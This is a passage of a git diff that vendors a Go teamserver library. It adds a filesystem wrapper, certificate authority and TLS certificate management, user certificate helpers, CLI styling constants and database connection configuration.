(before umask) are used for all directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing and returns nil. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) MkdirAll(path string, perm fs.FileMode) error { + if f.mem == nil { + return os.MkdirAll(path, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.MkdirAll(path, perm) +} + +// Sub returns a file system (an fs.FS) for the tree of files rooted at the directory dir, +// or an error if it failed. When the teamclient fs is on disk, os.Stat() and os.DirFS() are used. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Sub(path string) (fs fs.FS, err error) { + if f.mem == nil { + _, err = os.Stat(path) + + return os.DirFS(path), err + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.Sub(path) +} + +// Open is like fs.Open(). +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Open(name string) (fs.File, error) { + if f.mem == nil { + return os.Open(name) + } + + name = strings.TrimPrefix(name, f.root) + + return f.mem.Open(name) +} + +// OpenFile is like os.OpenFile(), but returns a custom *File type implementing +// the io.WriteCloser interface, so that it can be written to and closed more easily. +func (f *FS) OpenFile(name string, flag int, perm fs.FileMode) (*File, error) { + inFile := &File{ + name: name, + } + + if f.mem != nil { + inFile.mem = f.mem + + return inFile, nil + } + + file, err := os.OpenFile(name, flag, perm) + if err != nil { + return nil, err + } + + inFile.file = file + + return inFile, nil +} + +// WriteFile is like os.WriteFile(). +func (f *FS) WriteFile(path string, data []byte, perm fs.FileMode) error { + if f.mem == nil { + return os.WriteFile(path, data, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.WriteFile(path, data, perm) +} + +// ReadFile is like os.ReadFile(). +func (f *FS) ReadFile(path string) (b []byte, err error) { + if f.mem == nil { + return os.ReadFile(path) + } + + _, err = f.mem.Open(path) + if err != nil { + return + } + + return fs.ReadFile(f.mem, path) +} + +// File wraps the *os.File type with some in-memory helpers, +// so that we can write/read to teamserver application files +// regardless of where they are. +// This should disappear if a Write() method set is added to the io/fs package. +type File struct { + name string + file *os.File + mem *memfs.FS +} + +// Write implements the io.Writer interface by writing data either +// to the file on disk, or to an in-memory file. +func (f *File) Write(data []byte) (written int, err error) { + if f.file != nil { + return f.file.Write(data) + } + + fileName := filepath.Base(f.name) + + return len(data), f.mem.WriteFile(fileName, data, FileWritePerm) +} + +// Close implements io.Closer by closing the file on the filesystem. +func (f *File) Close() error { + if f.file != nil { + return f.file.Close() + } + + return nil +} diff --git a/server/certs/README.md b/vendor/github.com/reeflective/team/internal/certs/README.md similarity index 100% rename from server/certs/README.md rename to vendor/github.com/reeflective/team/internal/certs/README.md diff --git a/vendor/github.com/reeflective/team/internal/certs/ca.go b/vendor/github.com/reeflective/team/internal/certs/ca.go new file mode 100644 index 0000000000..7a0073866d --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/ca.go @@ -0,0 +1,149 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/ecdsa" + "crypto/x509" + "encoding/pem" + "fmt" + "os" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// ----------------------- +// CERTIFICATE AUTHORITY +// ----------------------- + +const ( + certFileExt = "teamserver.pem" +) + +// GetUsersCA returns the certificate authority for teamserver users. +func (c *Manager) GetUsersCA() (*x509.Certificate, *ecdsa.PrivateKey, error) { + return c.getCA(userCA) +} + +// GetUsersCAPEM returns the certificate authority for teamserver users, PEM-encoded. +func (c *Manager) GetUsersCAPEM() ([]byte, []byte, error) { + return c.getCAPEM(userCA) +} + +// SaveUsersCA saves a user certificate authority (may contain several users). +func (c *Manager) SaveUsersCA(cert, key []byte) { + c.saveCA(userCA, cert, key) +} + +// generateCA - Creates a new CA cert for a given type, or die trying. +func (c *Manager) generateCA(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) { + storageDir := c.getCertDir() + + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + if _, err := os.Stat(certFilePath); os.IsNotExist(err) { + c.log.Infof("Generating certificate authority for '%s'", caType) + cert, key := c.GenerateECCCertificate(caType, commonName, true, false) + c.saveCA(caType, cert, key) + } + + cert, key, err := c.getCA(caType) + if err != nil { + c.log.Fatalf("Failed to load CA: %s", err) + } + + return cert, key +} + +// getCA - Get the current CA certificate. +func (c *Manager) getCA(caType string) (*x509.Certificate, *ecdsa.PrivateKey, error) { + certPEM, keyPEM, err := c.getCAPEM(caType) + if err != nil { + return nil, nil, err + } + + certBlock, _ := pem.Decode(certPEM) + if certBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + cert, err := x509.ParseCertificate(certBlock.Bytes) + if err != nil { + c.log.Error("Failed to parse certificate: " + err.Error()) + return nil, nil, err + } + + keyBlock, _ := pem.Decode(keyPEM) + if keyBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + key, err := x509.ParseECPrivateKey(keyBlock.Bytes) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return cert, key, nil +} + +// getCAPEM - Get PEM encoded CA cert/key. +func (c *Manager) getCAPEM(caType string) ([]byte, []byte, error) { + caType = filepath.Base(caType) + caCertPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + caKeyPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + certPEM, err := c.fs.ReadFile(caCertPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + keyPEM, err := c.fs.ReadFile(caKeyPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return certPEM, keyPEM, nil +} + +// saveCA - Save the certificate and the key to the filesystem +// doesn't return an error because errors are fatal. If we can't generate CAs, +// then we can't secure communication and we should die a horrible death. +func (c *Manager) saveCA(caType string, cert []byte, key []byte) { + storageDir := c.getCertDir() + + // CAs get written to the filesystem since we control the names and makes them + // easier to move around/backup + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + err := c.fs.WriteFile(certFilePath, cert, assets.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s, %s", certFilePath, err) + } + + err = c.fs.WriteFile(keyFilePath, key, assets.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s: %s", keyFilePath, err) + } +} diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go new file mode 100644 index 0000000000..d2377ea6ba --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/certs.go @@ -0,0 +1,380 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/binary" + "encoding/pem" + "errors" + "fmt" + "math/big" + insecureRand "math/rand" + "net" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/db" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +const ( + // ECCKey - Namespace for ECC keys. + ECCKey = "ecc" + + // RSAKey - Namespace for RSA keys. + RSAKey = "rsa" + + // Internal constants. + daysInYear = 365 + hoursInDay = 24 + validForYears = 3 + serialNumberLen = 128 +) + +// ErrCertDoesNotExist - Returned if a GetCertificate() is called for a cert/cn that does not exist. +var ErrCertDoesNotExist = errors.New("Certificate does not exist") + +// Manager is used to manage the certificate infrastructure for a given teamserver. +// Has access to a given database for storage, a logger and an abstract filesystem. +type Manager struct { + appName string + appDir string + log *logrus.Entry + database *gorm.DB + fs *assets.FS +} + +// NewManager initializes and returns a certificate manager for a given teamserver. +// The returned manager will have ensured that all certificate authorities are initialized +// and working, or will create them if needed. +// Any critical error happening at initialization time will send a log.Fatal event to the +// provided logger. If the latter has no modified log.ExitFunc, this will make the server +// panic and exit. +func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appName, appDir string) *Manager { + certs := &Manager{ + appName: appName, + appDir: appDir, + log: logger, + database: db, + fs: filesystem, + } + + certs.generateCA(userCA, "teamusers") + + return certs +} + +func (c *Manager) db() *gorm.DB { + return c.database.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + +// GetECCCertificate - Get an ECC certificate. +func (c *Manager) GetECCCertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, ECCKey, commonName) +} + +// GetRSACertificate - Get an RSA certificate. +func (c *Manager) GetRSACertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, RSAKey, commonName) +} + +// GetCertificate - Get the PEM encoded certificate & key for a host. +func (c *Manager) GetCertificate(caType string, keyType string, commonName string) ([]byte, []byte, error) { + if keyType != ECCKey && keyType != RSAKey { + return nil, nil, fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Getting certificate ca type = %s, cn = '%s'", caType, commonName) + + certModel := db.Certificate{} + result := c.db().Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).First(&certModel) + + if errors.Is(result.Error, db.ErrRecordNotFound) { + return nil, nil, ErrCertDoesNotExist + } + + if result.Error != nil { + return nil, nil, result.Error + } + + return []byte(certModel.CertificatePEM), []byte(certModel.PrivateKeyPEM), nil +} + +// RemoveCertificate - Remove a certificate from the cert store. +func (c *Manager) RemoveCertificate(caType string, keyType string, commonName string) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Deleting certificate for cn = '%s'", commonName) + + err := c.db().Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).Delete(&db.Certificate{}).Error + + return err +} + +// -------------------------------- +// Generic Certificate Functions +// -------------------------------- + +// GenerateECCCertificate - Generate a TLS certificate with the given parameters +// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc. +// Returns two strings `cert` and `key` (PEM Encoded). +func (c *Manager) GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()} + curve := curves[randomInt(len(curves))] + + privateKey, err = ecdsa.GenerateKey(curve, rand.Reader) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +// GenerateRSACertificate - Generates an RSA Certificate. +func (c *Manager) GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize()) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +func (c *Manager) generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) { + // Valid times, subtract random days from .Now() + notBefore := time.Now() + days := randomInt(daysInYear) * -1 // Within -1 year + notBefore = notBefore.AddDate(0, 0, days) + notAfter := notBefore.Add(randomValidFor()) + c.log.Debugf("Valid from %v to %v", notBefore, notAfter) + + // Serial number + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), serialNumberLen) + serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) + c.log.Debugf("Serial Number: %d", serialNumber) + + keyUsage := x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + var extKeyUsage []x509.ExtKeyUsage + + switch { + case isCA: + c.log.Debugf("Authority certificate") + + keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + extKeyUsage = []x509.ExtKeyUsage{ + x509.ExtKeyUsageServerAuth, + x509.ExtKeyUsageClientAuth, + } + case isClient: + c.log.Debugf("Client authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} + default: + c.log.Debugf("Server authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} + } + + c.log.Debugf("ExtKeyUsage = %v", extKeyUsage) + + // Certificate template + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: subject, + NotBefore: notBefore, + NotAfter: notAfter, + KeyUsage: keyUsage, + ExtKeyUsage: extKeyUsage, + BasicConstraintsValid: isCA, + } + + if !isClient { + // Host or IP address + if ip := net.ParseIP(subject.CommonName); ip != nil { + c.log.Debugf("Certificate authenticates IP address: %v", ip) + template.IPAddresses = append(template.IPAddresses, ip) + } else { + c.log.Debugf("Certificate authenticates host: %v", subject.CommonName) + template.DNSNames = append(template.DNSNames, subject.CommonName) + } + } else { + c.log.Debugf("Client certificate authenticates CN: %v", subject.CommonName) + } + + // Sign certificate or self-sign if CA + var certErr error + var derBytes []byte + + if isCA { + c.log.Debugf("Certificate is an AUTHORITY") + + template.IsCA = true + template.KeyUsage |= x509.KeyUsageCertSign + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) + } else { + caCert, caKey, err := c.getCA(caType) // Sign the new certificate with our CA + if err != nil { + c.log.Fatalf("Invalid ca type (%s): %s", caType, err) + } + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey) + } + + if certErr != nil { + // We maybe don't want this to be fatal, but it should basically never happen afaik + c.log.Fatalf("Failed to create certificate: %s", certErr) + } + + // Encode certificate and key + certOut := bytes.NewBuffer([]byte{}) + pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) + + keyOut := bytes.NewBuffer([]byte{}) + pem.Encode(keyOut, c.pemBlockForKey(privateKey)) + + return certOut.Bytes(), keyOut.Bytes() +} + +func (c *Manager) saveCertificate(caType string, keyType string, commonName string, cert []byte, key []byte) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Saving certificate for cn = '%s'", commonName) + + certModel := &db.Certificate{ + CommonName: commonName, + CAType: caType, + KeyType: keyType, + CertificatePEM: string(cert), + PrivateKeyPEM: string(key), + } + + result := c.db().Create(&certModel) + + return result.Error +} + +// getCertDir returns the directory (and makes it if needed) for writing certificate backups. +func (c *Manager) getCertDir() string { + rootDir := c.appDir + certDir := filepath.Join(rootDir, "certs") + + err := c.fs.MkdirAll(certDir, assets.DirPerm) + if err != nil { + c.log.Fatalf("Failed to create cert dir: %s", err) + } + + return certDir +} + +func (c *Manager) pemBlockForKey(priv interface{}) *pem.Block { + switch key := priv.(type) { + case *rsa.PrivateKey: + data := x509.MarshalPKCS1PrivateKey(key) + return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data} + case *ecdsa.PrivateKey: + data, err := x509.MarshalECPrivateKey(key) + if err != nil { + c.log.Fatalf("Unable to marshal ECDSA private key: %v", err) + } + + return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} + default: + return nil + } +} + +func publicKey(priv interface{}) interface{} { + switch k := priv.(type) { + case *rsa.PrivateKey: + return &k.PublicKey + case *ecdsa.PrivateKey: + return &k.PublicKey + default: + return nil + } +} + +func randomInt(max int) int { + intLen := 4 + buf := make([]byte, intLen) + rand.Read(buf) + i := binary.LittleEndian.Uint32(buf) + + return int(i) % max +} + +func randomValidFor() time.Duration { + validFor := validForYears * (daysInYear * hoursInDay * time.Hour) + + switch insecureRand.Intn(2) { + case 0: + validFor = (validForYears - 1) * (daysInYear * hoursInDay * time.Hour) + case 1: + validFor = validForYears * (daysInYear * hoursInDay * time.Hour) + } + + return validFor +} + +func rsaKeySize() int { + rsaKeySizes := []int{4096, 2048} + return rsaKeySizes[randomInt(len(rsaKeySizes))] +} diff --git a/vendor/github.com/reeflective/team/internal/certs/tls.go b/vendor/github.com/reeflective/team/internal/certs/tls.go new file mode 100644 index 0000000000..9064745ba2 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/tls.go @@ -0,0 +1,88 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "fmt" + "log" + "os" + + "github.com/reeflective/team/internal/assets" +) + +const ( + // DefaultPort is the default team.Server listening port. + // Should be 31415, but... go to hell with your endless limits. + DefaultPort = 31416 +) + +// OpenTLSKeyLogFile returns an open file to the TLS keys log file, +// if the environment variable SSLKEYLOGFILE is defined. +func (c *Manager) OpenTLSKeyLogFile() *os.File { + keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE") + if present { + keyFile, err := os.OpenFile(keyFilePath, assets.FileWriteOpenMode, assets.FileReadPerm) + if err != nil { + c.log.Errorf("Failed to open TLS key file %v", err) + return nil + } + + c.log.Warnf("NOTICE: TLS Keys logged to '%s'\n", keyFilePath) + + return keyFile + } + + return nil +} + +// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so +// we have to disable all of the certificate validation and re-implement everything. +// https://github.com/golang/go/issues/21971 +func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { + roots := x509.NewCertPool() + + ok := roots.AppendCertsFromPEM([]byte(caCertificate)) + if !ok { + fmt.Errorf("Failed to parse root certificate") + } + + cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert + if err != nil { + log.Printf("Failed to parse certificate: " + err.Error()) + return err + } + + // Basically we only care if the certificate was signed by our authority + // Go selects sensible defaults for time and EKU, basically we're only + // skipping the hostname check, I think? + options := x509.VerifyOptions{ + Roots: roots, + } + + if options.Roots == nil { + return fmt.Errorf("Certificate root is nil") + } + + if _, err := cert.Verify(options); err != nil { + return fmt.Errorf("Failed to verify certificate: " + err.Error()) + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/certs/users.go b/vendor/github.com/reeflective/team/internal/certs/users.go new file mode 100644 index 0000000000..b0fed17776 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/users.go @@ -0,0 +1,100 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "encoding/pem" + "fmt" + + "github.com/reeflective/team/internal/db" +) + +const ( + // userCA - Directory containing user certificates. + userCA = "user" + + clientNamespace = "client" // User clients + serverNamespace = "server" // User servers + userCertHostname = "teamusers" // Hostname used on certificate +) + +// UserClientGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserClientGenerateCertificate(user string) ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, user, false, true) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user), cert, key) + + return cert, key, err +} + +// UserClientGetCertificate - Helper function to fetch a client cert. +func (c *Manager) UserClientGetCertificate(user string) ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserClientRemoveCertificate - Helper function to remove a client cert. +func (c *Manager) UserClientRemoveCertificate(user string) error { + return c.RemoveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserServerGetCertificate - Helper function to fetch a server cert. +func (c *Manager) UserServerGetCertificate() ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname)) +} + +// UserServerGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserServerGenerateCertificate() ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, userCertHostname, false, false) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname), cert, key) + + return cert, key, err +} + +// UserClientListCertificates - Get all client certificates. +func (c *Manager) UserClientListCertificates() []*x509.Certificate { + userCerts := []*db.Certificate{} + + result := c.db().Where(&db.Certificate{CAType: userCA}).Find(&userCerts) + if result.Error != nil { + c.log.Error(result.Error) + return []*x509.Certificate{} + } + + c.log.Infof("Found %d user certs ...", len(userCerts)) + + certs := []*x509.Certificate{} + + for _, user := range userCerts { + block, _ := pem.Decode([]byte(user.CertificatePEM)) + if block == nil { + c.log.Warn("failed to parse certificate PEM") + continue + } + + cert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + c.log.Warnf("failed to parse x.509 certificate %v", err) + continue + } + + certs = append(certs, cert) + } + + return certs +} diff --git a/vendor/github.com/reeflective/team/internal/command/command.go b/vendor/github.com/reeflective/team/internal/command/command.go new file mode 100644 index 0000000000..9718ae7e41 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/command/command.go @@ -0,0 +1,114 @@ +package command + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/jedib0t/go-pretty/v6/table" + "github.com/jedib0t/go-pretty/v6/text" + "github.com/spf13/cobra" +) + +type ( + // CobraRunnerE is a cobra runner returning an error. + CobraRunnerE func(*cobra.Command, []string) error + // CobraRunner is a cobra runner returning nothing. + CobraRunner func(*cobra.Command, []string) +) + +const ( + // ClientConfigExt is the client remote server config file extension. + ClientConfigExt = "teamclient.cfg" + // ServerConfigExt is the server backend config file extension. + ServerConfigExt = "teamserver.json" +) + +const ( + // TeamServerGroup is the group of all server/client control commands. + TeamServerGroup = "teamserver control" + // UserManagementGroup is the group to manage teamserver users. + UserManagementGroup = "user management" +) + +// Colors / effects. +const ( + // ANSI Colors. + Normal = "\033[0m" + Black = "\033[30m" + Red = "\033[31m" + Green = "\033[32m" + Orange = "\033[33m" + Blue = "\033[34m" + Purple = "\033[35m" + Cyan = "\033[36m" + Gray = "\033[37m" + Bold = "\033[1m" + Clearln = "\r\x1b[2K" + UpN = "\033[%dA" + DownN = "\033[%dB" + Underline = "\033[4m" + + // Info - Display colorful information. + Info = Cyan + "[*] " + Normal + // Warn - warn a user. + Warn = Red + "[!] " + Normal + // Debugl - Display debugl information. + Debugl = Purple + "[-] " + Normal +) + +// TableStyle is a default table style for users and listeners. +var TableStyle = table.Style{ + Name: "TeamServerDefault", + Box: table.BoxStyle{ + BottomLeft: " ", + BottomRight: " ", + BottomSeparator: " ", + Left: " ", + LeftSeparator: " ", + MiddleHorizontal: "=", + MiddleSeparator: " ", + MiddleVertical: " ", + PaddingLeft: " ", + PaddingRight: " ", + Right: " ", + RightSeparator: " ", + TopLeft: " ", + TopRight: " ", + TopSeparator: " ", + UnfinishedRow: "~~", + }, + Color: table.ColorOptions{ + IndexColumn: text.Colors{}, + Footer: text.Colors{}, + Header: text.Colors{}, + Row: text.Colors{}, + RowAlternate: text.Colors{}, + }, + Format: table.FormatOptions{ + Footer: text.FormatDefault, + Header: text.FormatTitle, + Row: text.FormatDefault, + }, + Options: table.Options{ + DrawBorder: false, + SeparateColumns: true, + SeparateFooter: false, + SeparateHeader: true, + SeparateRows: false, + }, +} diff --git a/vendor/github.com/reeflective/team/internal/db/certificates.go b/vendor/github.com/reeflective/team/internal/db/certificates.go new file mode 100644 index 0000000000..adb9a2721e --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/certificates.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// Certificate - Certificate database model. +type Certificate struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + CommonName string + CAType string + KeyType string + CertificatePEM string + PrivateKeyPEM string +} + +// BeforeCreate - GORM hook to automatically set values. +func (c *Certificate) BeforeCreate(tx *gorm.DB) (err error) { + c.ID, err = uuid.NewV4() + if err != nil { + return err + } + c.CreatedAt = time.Now() + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/config.go b/vendor/github.com/reeflective/team/internal/db/config.go new file mode 100644 index 0000000000..6b95e61591 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/config.go @@ -0,0 +1,93 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net/url" +) + +const ( + // Sqlite - SQLite protocol. + Sqlite = "sqlite3" + // Postgres - Postgresql protocol. + Postgres = "postgresql" + // MySQL - MySQL protocol. + MySQL = "mysql" +) + +// Config - Server database configuration. +type Config struct { + Dialect string `json:"dialect"` + Database string `json:"database"` + Username string `json:"username"` + Password string `json:"password"` + Host string `json:"host"` + Port uint16 `json:"port"` + + Params map[string]string `json:"params"` + + MaxIdleConns int `json:"max_idle_conns"` + MaxOpenConns int `json:"max_open_conns"` + + LogLevel string `json:"log_level"` +} + +// DSN - Get the db connections string +// https://github.com/go-sql-driver/mysql#examples +func (c *Config) DSN() (string, error) { + switch c.Dialect { + case Sqlite: + filePath := c.Database + params := encodeParams(c.Params) + + return fmt.Sprintf("file:%s?%s", filePath, params), nil + + case MySQL: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port) + params := encodeParams(c.Params) + + return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil + + case Postgres: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := url.QueryEscape(c.Host) + port := c.Port + params := encodeParams(c.Params) + + return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil + + default: + return "", ErrUnsupportedDialect + } +} + +func encodeParams(rawParams map[string]string) string { + params := url.Values{} + for key, value := range rawParams { + params.Add(key, value) + } + + return params.Encode() +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go new file mode 100644 index 0000000000..a5f279d300 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go @@ -0,0 +1,39 @@ +//go:build cgo_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. 